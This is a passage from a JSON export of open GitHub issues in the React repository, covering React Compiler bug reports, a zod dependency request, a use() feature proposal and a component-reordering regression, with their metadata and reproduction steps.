using?\n\n19.1.1\n\n### What version of React Compiler are you using?\n\n19.1.0-rc.3", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34378/reactions", "total_count": 7, "+1": 6, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34367", "id": 3379120718, "node_id": "I_kwDOAJy2Ks7JaUpO", "number": 34367, "title": "Bug: Output", "user": { "login": "ialex212004", "id": 221137535, "node_id": "U_kgDODS5Kfw", "avatar_url": "https://avatars.githubusercontent.com/u/221137535?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ialex212004", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2025-09-03T09:40:02Z", "updated_at": "2026-01-17T23:57:57Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "<!--\n Please provide a clear and concise description of what the bug is. Include\n screenshots if needed. Please test using the latest version of the relevant\n React packages to make sure your issue has not already been fixed.\n-->\n\nReact version:\n\n## Steps To Reproduce\n\n1.\n2.\n\n<!--\n Your bug will get fixed much faster if we can run your code and it doesn't\n have dependencies other than React. Issues without reproduction steps or\n code examples may be immediately closed as not actionable.\n-->\n\nLink to code example:\n\n<!--\n Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a\n repository on GitHub, or provide a minimal code example that reproduces the\n problem. You may provide a screenshot of the application if you think it is\n relevant to your bug report. Here are some tips for providing a minimal\n example: https://stackoverflow.com/help/mcve.\n-->\n\n## The current behavior\n\n\n## The expected behavior\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34367/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34366", "id": 3378549316, "node_id": "I_kwDOAJy2Ks7JYJJE", "number": 34366, "title": "eslint-plugin-react-hooks needs dependency on zod ^3.25.0 or later", "user": { "login": "lachlanhunt", "id": 681464, "node_id": "MDQ6VXNlcjY4MTQ2NA==", "avatar_url": "https://avatars.githubusercontent.com/u/681464?v=4", "gravatar_id": "", "url": "https://api.github.com/users/lachlanhunt", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": {}, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2025-09-03T06:52:57Z", "updated_at": "2026-01-05T20:06:28Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "https://github.com/facebook/react/blob/ac3e705a18696168acfcaed39dce0cfaa6be8836/packages/eslint-plugin-react-hooks/package.json#L46\n\neslint-plugin-react-hooks currently has these dependencies:\n\n```json\n \"dependencies\": {\n ...\n \"zod\": \"^3.22.4\",\n \"zod-validation-error\": \"^3.0.3\"\n },\n```\n\nMore recent versions of zod-validation-plugin since 3.5.3 (matched by \"^3.0.3\" above) have a peer-dependency requirement for `\"zod\": \"^3.25.0 || ^4.0.0\"`, and they are internally using the zod/v3 import introduced by zod 3.25.0.\n\neslint-plugin-react-hooks should change its dependencies to:\n\n```json\n \"zod\": \"^3.25.0\",\n \"zod-validation-error\": \"^3.5.3\"\n```\n\nOr maybe go all the way to the latest versions of both packages.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34366/reactions", "total_count": 11, "+1": 9, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 2, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34349", "id": 3369198361, "node_id": "I_kwDOAJy2Ks7I0eMZ", "number": 34349, "title": "[Enhancement] Add option to prevent fallback to client-side execution when using `use()`", "user": { "login": "vuthanhtrung2010", "id": 69748032, "node_id": "MDQ6VXNlcjY5NzQ4MDMy", "avatar_url": "https://avatars.githubusercontent.com/u/69748032?v=4", "gravatar_id": "", "url": "https://api.github.com/users/vuthanhtrung2010", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "1": { "id": 1775957182, "node_id": "MDU6TGFiZWwxNzc1OTU3MTgy", "url": "https://api.github.com/repos/facebook/react/labels/Resolution:%20Stale", "name": "Resolution: Stale", "color": "e6e6e6", "default": false, "description": "Automatically closed due to inactivity" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2025-08-30T14:55:26Z", "updated_at": "2026-03-04T06:18:53Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "> Note: **SORRY IF I CREATED USING BUG REPORT TEMPLATE, PLEASE CORRECT ME THE TEMPLATE I SHOULD USE IF I AM WRONG, because I can't find a template named \"Feature Request\" :(((**\n\n> **Issue Type:** Enhancement / Feature Request\n\nCurrently, when using `use()` in React server components, if a server-side action fails or is unavailable, it may fall back to executing on the client side. I propose adding a parameter or option that allows developers to **disallow this fallback**, ensuring that certain actions always remain server-only.\n\nThis would be useful in scenarios where:\n\n* Sensitive operations must never execute on the client.\n* Server-specific resources or data are required.\n* Consistency and security need to be enforced.\n\n**Proposed Behavior:**\n\n* Add a boolean parameter (e.g., `allowClientFallback = true`) to `use()`.\n* When set to `false`, `use()` should throw an error if the server action is unavailable, instead of falling back to client-side execution.\n\n**Example:**\n\n```js\nconst data = use(fetchServerData, { allowClientFallback: false });\n```\n\n**Benefits:**\n\n* Prevent accidental execution of server-only logic on the client.\n* Improve security and predictability of server components.\n* Give developers explicit control over fallback behavior.\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34349/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34342", "id": 3368229686, "node_id": "I_kwDOAJy2Ks7Iwxs2", "number": 34342, "title": "[Compiler Bug]: false positive ref access in render error when props contain both a `ref` and a `value` and both are accessed", "user": { "login": "deivshon", "id": 88600810, "node_id": "MDQ6VXNlcjg4NjAwODEw", "avatar_url": "https://avatars.githubusercontent.com/u/88600810?v=4", "gravatar_id": "", "url": "https://api.github.com/users/deivshon", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2025-08-29T21:23:09Z", "updated_at": "2025-11-03T20:38:11Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAIRggGsENcBeXACgAcjawBKSgPl2AB1zcYFtY5ADwATAJYA3XggBmFYPQiMAdHxkBfVgoZhlEgIYAbKAnVCA9OImtu67t3RY8AdQgxiYjAHNKNRYxYKdi4ePgEYYSstf10DY1MLKNtuEHUgA\n\n### Repro steps\n\n- Access both the `ref` and `value` properties of the props object\n- Compiler incorrectly raises a ref validation error\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.1\n\n### What version of React Compiler are you using?\n\naad7c664ff", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34342/reactions", "total_count": 3, "+1": 2, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34336", "id": 3365930579, "node_id": "I_kwDOAJy2Ks7IoAZT", "number": 34336, "title": "[Compiler Bug]: After enabling React Compiler for a React Native / Expo app, Storybook fails (seems to be incorrectly bundled)", "user": { "login": "InkaAlicja", "id": 72438355, "node_id": "MDQ6VXNlcjcyNDM4MzU1", "avatar_url": "https://avatars.githubusercontent.com/u/72438355?v=4", "gravatar_id": "", "url": "https://api.github.com/users/InkaAlicja", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2025-08-29T08:16:38Z", "updated_at": "2025-11-03T20:38:11Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://github.com/InkaAlicja/ReactCompilerStorybookTest\n\n### Repro steps\n\nOpen the repro repo, try running `npm run storybook:ios`.\nYou should see this error:\n```\n ERROR [TypeError: ri is not a function (it is undefined)]\n```\n\nAll I did was:\nCreate the example repo with `npx create-expo-app --template expo-template-storybook <name>`\nInstalled `babel-plugin-react-compiler`\nAdded \n```\nexpo: {\n experiments: {\n reactCompiler: true,\n },\n },\n```\nto `app.config.js` config\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.0.0\n\n### What version of React Compiler are you using?\n\n19.1.0-rc.2 or 19.0.0-beta-ebf51a3-20250411 (both result in error)", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34336/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34313", "id": 3358575003, "node_id": "I_kwDOAJy2Ks7IL8mb", "number": 34313, "title": "[Compiler Bug]: Destructure component props caused Compilation skipped because existing memoization could not be preserved", "user": { "login": "imteammy", "id": 63499627, "node_id": "MDQ6VXNlcjYzNDk5NjI3", "avatar_url": "https://avatars.githubusercontent.com/u/63499627?v=4", "gravatar_id": "", "url": "https://api.github.com/users/imteammy", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2025-08-27T08:52:30Z", "updated_at": "2025-11-03T20:38:10Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgDMoA7OXASwhPwFVMBlBPAMQoQBsATACmAB0a+AHSjMMCJjCCAvgEp8AoXGpgCS-JvxQwzZIu26YAYQhcE+GQBpBmmfgC8hhEzBgqJHnIDcg2-hUSNXwuCjAAQwAjDgQuR3xxSTBhGARwrgB5Eg4AT18Sf0Dg80JwqA5cADVwjigEMHidBABZBABbCB4vRwA+fABzBFwAEQRS8twWCTbq2oQeRKlhErKK2bqwK2cTMwQ5LYBtReSVifX6raad8wBdOT9lVQI2oYALMwanJpYcNr5-TSpSAcABuenwanCJC44RgXAYcFe7XCACV6hBQcweBRKghoTgEUi2uF9gCQmNVlUahsbEJNKEItFYrS7D4HpoigQwgBRUIEJzHZYUs7U+r4ACEThI5Q4+Q5TyIvzYnC4n3waPC5GETVaHS6CgcfUGVTxXBwyu4YD4+B5fMs+3wB1tFFwd3y-lSuFgNB4ZIAPD8YG1FKJhC9cO9VTIemTNH7muFMBbVRlMJRVPhJOmgg5gIQlexLfYAPQxun4P3FwNtMuaNkkGQPEAyIA\n\n### Repro steps\n\n### Destructure component props caused Compilation skipped\n\nbabel-plugin-react-compiler version 19.1.0-rc.2 work fine\n\nIs this the expected outcome or not?\n\n### Repo\n\n[Pass](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgDMoA7OXASwhPwFVMBlBPAMQoQBsATACkxgiYwASnzAAOjXxxqYAhKn58UMM2RjlqmAGEIXBPgC+AGklLD+ALyaETMGCokewgNySz02QS4UwAQwAjDgQuK3x+QTAAOhgEPy4AeRIOAE83Eg8ZEjl8fUI-KA5cADU-DigEMDCVBABZBABbCB5nKwA+fABzBFwAEQR8wtwWAQbS8oQ+ASEovIKi8YqwYxsdPQRhFYBtCJm5ocXKlZq1-QBdYXcpLJyGnoALPSrrGpYcBp4FJSVYyA4ANzU+DkfhIXD8MC4DDg90afgASpUIADmDwKMUEGCcNDYQ0-JsPEp9gsyktTIpcr5AsEuOTzK4rkobgRfABRHwEay7aLEkqkyr4ACE1hIhQ46SZXiI7zYnC4z3wiL85CiNXqTRaoksHW6JUxXBwsu4YE++DZHKMm3wW3NFFwF3SHliuFgNB4hPwAB43jAGmIogG7rhHvLDG0PUpPbU-JgjfKEphKLJ8IIk9lLMBCDL2MaLAB6cMUz15n0NQtKBkkQxXECGIA)\n\n[Fail](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgDMoA7OXASwhPwFVMBlBPAMQoQBsATACmAB0a+AHSjMMCJjCCAvgEp8AoXGpgCS-JvxQwzZIu26YAYQhcE+GQBpBmmfgC8hhEzBgqJHnIDcg2-hUSNXwuCjAAQwAjDgQuR3xxSTBhGARwrgB5Eg4AT18Sf0Dg80JwqA5cADVwjigEMHidBABZBABbCB4vRwA+fABzBFwAEQRS8twWCTbq2oQeRKlhErKK2bqwK2cTMwQ5LYBtReSVifX6raad8wBdOT9lVQI2oYALMwanJpYcNr5-TSpSAcABuenwanCJC44RgXAYcFe7XCACV6hBQcweBRKghoTgEUi2uF9gCQmNVlUahsbEJNKEItFYrS7D4HpoigQwgBRUIEJzHZYUs7U+r4ACEThI5Q4+Q5TyIvzYnC4n3waPC5GETVaHS6CgcfUGVTxXBwyu4YD4+B5fMs+3wB1tFFwd3y-lSuFgNB4ZIAPD8YG1FKJhC9cO9VTIemTNH7muFMBbVRlMJRVPhJOmgg5gIQlexLfYAPQxun4P3FwNtMuaNkkGQPEAyIA)\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.1.1\n\n### What version of React Compiler are you using?\n\n0.0.0-experimental-81466cb-20250822", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34313/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34307", "id": 3357045861, "node_id": "I_kwDOAJy2Ks7IGHRl", "number": 34307, "title": "Bug: re-ordering components with stable keys invalidates refs/state, since 19.0.0", "user": { "login": "rain-sk", "id": 3072639, "node_id": "MDQ6VXNlcjMwNzI2Mzk=", "avatar_url": "https://avatars.githubusercontent.com/u/3072639?v=4", "gravatar_id": "", "url": "https://api.github.com/users/rain-sk", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "1": { "id": 1775957182, "node_id": "MDU6TGFiZWwxNzc1OTU3MTgy", "url": "https://api.github.com/repos/facebook/react/labels/Resolution:%20Stale", "name": "Resolution: Stale", "color": "e6e6e6", "default": false, "description": "Automatically closed due to inactivity" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 8, "created_at": "2025-08-26T20:32:55Z", "updated_at": "2026-03-04T06:18:55Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "I've tested with 18.3.1, 19.0.0, and 19.1.1.\n\nI build a modular synth application which uses the Web Audio API. Since it's possible for synth patches to grow quite large, I memoize the ordered list of modules for the sake of having a sensible keyboard navigation order. This means that the order of rendered modules can change.\n\nUp until React 18.3.1, this changing order of rendered modules was not causing any issues. I make sure to use stable unique identifiers as keys when rendering, so components' internal state remains stable as the modules are dragged around the canvas.\n\nHere's a snippet of the code used to render the modules:\n\n```tsx\n\tconst sortedModules = useMemo(\n\t\t() => {\n\t\t\t// ... order the modules based on their positions in the canvas\n\t\t}),\n\t\t[state.modulePositions, state.modules],\n\t);\n\n\treturn (\n\t\t<>\n\t\t\t{sortedModules.map(([module, position]) => (\n\t\t\t\t<module></module>\n\t\t\t))}\n\t\t>\n\t);\n```\n\nInternally, `<module></module>` calls a hook which stores a ref to a \"node\" object – which acts as its handle into the audio API – and initializes it like so:\n```typescript\n\t// ...\n\tconst nodeRef = useRef<nodetype>(undefined);\n\n\tif (!nodeRef.current) {\n\t\tnodeRef.current = nodeFactory();\n\t}\n\t// ...\n```\n\nSo, since React 19.0.0, this ref seems to get out of sync when the order of the rendered components changes.\n\nReact version: 19.0.0, 19.1.1\n\n## Steps To Reproduce\n\n1. `git clone https://github.com/rain-sk/synth.kitchen.git && cd synth.kitchen`\n2. `git checkout demo-react19-issues`\n3. `cd app/web`\n4. `npm i && npm run dev`\n5. Visit localhost:8080 and press \"start\"\n6. Double-click in the center of the screen, then choose one of the options in the menu to add a new module to the canvas\n7. Drag the output module to the bottom-right corner of the screen, past the newly-added module\n\nExpected:\n- internal module state is stable regardless of render order\n\nResult:\n- hit the debugger line in the `useNode` hook, indicating that the ref was reset, even though we've already initialized the corresponding node\n\nNote: the commit behind the HEAD of `demo-react19-issues` is the one which adds the debugger statement. Switching to that commit (`b8f76f9f845328a6e83fdd3a13981f82cf16fe11`) and re-installing node_modules, demonstrates that this problem did not exist prior to React 19.\n\n\nLink to code example:\n\n\n## The current behavior\n\nChanging render order of components with stable keys results in broken internal refs.\n\n## The expected behavior\n\nInternal refs of react components are stable regardless of render order, given stable key props.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34307/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34262", "id": 3343536110, "node_id": "I_kwDOAJy2Ks7HSk_u", "number": 34262, "title": "[Compiler Bug]: “The inferred dependencies did not match...” references Compiler’s internal variables", "user": { "login": "iamakulov", "id": 2953267, "node_id": "MDQ6VXNlcjI5NTMyNjc=", "avatar_url": "https://avatars.githubusercontent.com/u/2953267?v=4", "gravatar_id": "", "url": "https://api.github.com/users/iamakulov", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2025-08-21T23:39:08Z", "updated_at": "2025-11-03T20:38:10Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\n[Repro](https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAZQAcIZswBhTANwVIQBMB5e+sASQ3oEs4BDbEslwAlBLzjYAdADFyuALy4AFAEoFAPlzAAOhly50WPMFyEYPBLgC+C3FDAIAKjF70ElDNgQAPbKoDcuvqGOLgQLGDSJAC2-Lb2CEQkZPgCMAhKSjj8CGrymtlekuGsUTCx2CqBegaYoSbi2Fw0ALK8MADWCHg2igkAojSeAIISzQhtnd0eXr4BukG1RrgA2gBmEHD2qTkANLgO2FFbYDteALq2oo2SCWcZ2iAAFlxuj1ULNSF4hjR0TBF7lcxBJbg4WghohBMnlNDoavouGtlIt9PoNicgfJsbhHi83iBcAAfImotElSIxOLYxSPMwWR7E0kItH0xAKHGPRkksn6NmWGm4kAABm5zLRrPM7MFj2FosJPJZfKlAs5IrlXJZanhEv06WwsD0Ot1wV4GFEnFoQjWvAANg5dry0b9aF56AAFFVCLkgR1KtFUO1QBBCKCWtZcDAMP0m-RuOBcWL20PhyPRp3KhAR7wptwRqP0GOxsBQNbZ3NZtOFp02XhgJY4aoSqyfCXfUzpBNgLiYWwAc26noQXZ7GGkMAg0UcPA6+C4AC8Hv7GuNJl0pCQ3DBPRYWpHp3BZwvLAB+E+4YWSYUARiL+g+GDJ7bDhFcbno8Qwr-oADUgxkTEDW1gyEfl9jMYcuG7XsrAfJ86mMXANnKfg3SEF1-j-YCEDKCo3X2ICQKWP43Sw4NrAUJ0MOwHdECUY0TX5FNv3fO9dWgbBCCgbAWnCEMwgiXD+DYiVIy4ni+O9cA+FtBhHhEyVIOgjAFNg6oyVkvAIPLA5sHMDA+2JOxUwLJs0U0g5Sx0nB9MMoljLzKszP0CzCIFYjXQYMiEHUlkwAAdy4bA4CeZQKSEyotCoutLEeXholoHgzUeZAMw7StvFsaivP-XAAB4L1wc9HkAZAJGSkgBqR5nN1NzbDabAnkkXgACMwCUbLf3-B9Y1wFr0l4DoatNBwhXjRM7RStL+rEIbotGulaEQTxeAHKb-X0Esyy4TLaRAABSarpoGub-TzXgoFtbBUo2vqTpqltHxZfVDSi-0+HNBBLRgIQ9ODBTOto-jOu8iL8KdNyFO0naFK27MFPGpMwCEAdsAAEUgpHx0nZhSipPwTHC-HwM7KDR2sFQ2NretvjMqx9hWMCBLxlDsH2FdWnaddihgLcgb3DADyPRd9gxbZsByc44JqF6YD0JQyTy7gqHUJ1gE63HTglooPotLdcAAMgNlFbqV5p1EkS28oAemV1X-RUR6JRtu3FgfKx-BAKwgA)\n\nUpdate: [Repro 2 (much smaller)](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAjggDswCowEBlCAWwVwAsBLYgc3wF58AKAHWL58AEwCGuUcnwARcaIA0AgJRcAfPmAChRUgQDamGM0RgAul3wVqE3Ah7AAvkoFbCJMhvysAbgmK4cAE95fEMEOGYwZhJ8BwsAJQRROFwAOisAWQRaCH5BIV4VTnV7VwKvYl9-IKkxCVSfPwCYYLKCsIiokik2BgAFGHDI6OIeJUV8oScJ8r060VMZ-CUAbhd8wdxYQUTktMzs3LG1DTadD0NjBAtLkwB+VL1G6pa5uVThBExRPHp-U1MDz0AAZTGtJm5dKEfpRhDcjIhUgEAGLMdAIYQ8DrDGIAWnwACZVutyucCMB8AAzHC0cS2OFxbg6Xx4AZXLEwjEhbFdYjE4htTbbTzUmC03D02LgqYhJ6VJpBbkIhBgJVDXkheamfkOFYgBxAA)\n\n### Repro steps\n\nIn the playground link, the code produces two errors (bolding mine):\n\n> Memoization: Compilation skipped because existing memoization could not be preserved\n> React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. **The inferred dependency was `convertedValue`**...\n\n> [same text] **The inferred dependency was `t3`**...\n\nThis is weird:\n\n- `convertedValue` is a variable _inside_ useMemo. It should not and cannot be in `useMemo()` dependencies\n- `t3` is one of the temporary variables Compiler creates. It should not be exposed to the user at all\n\nFunnily, changing the useMemo code [even a 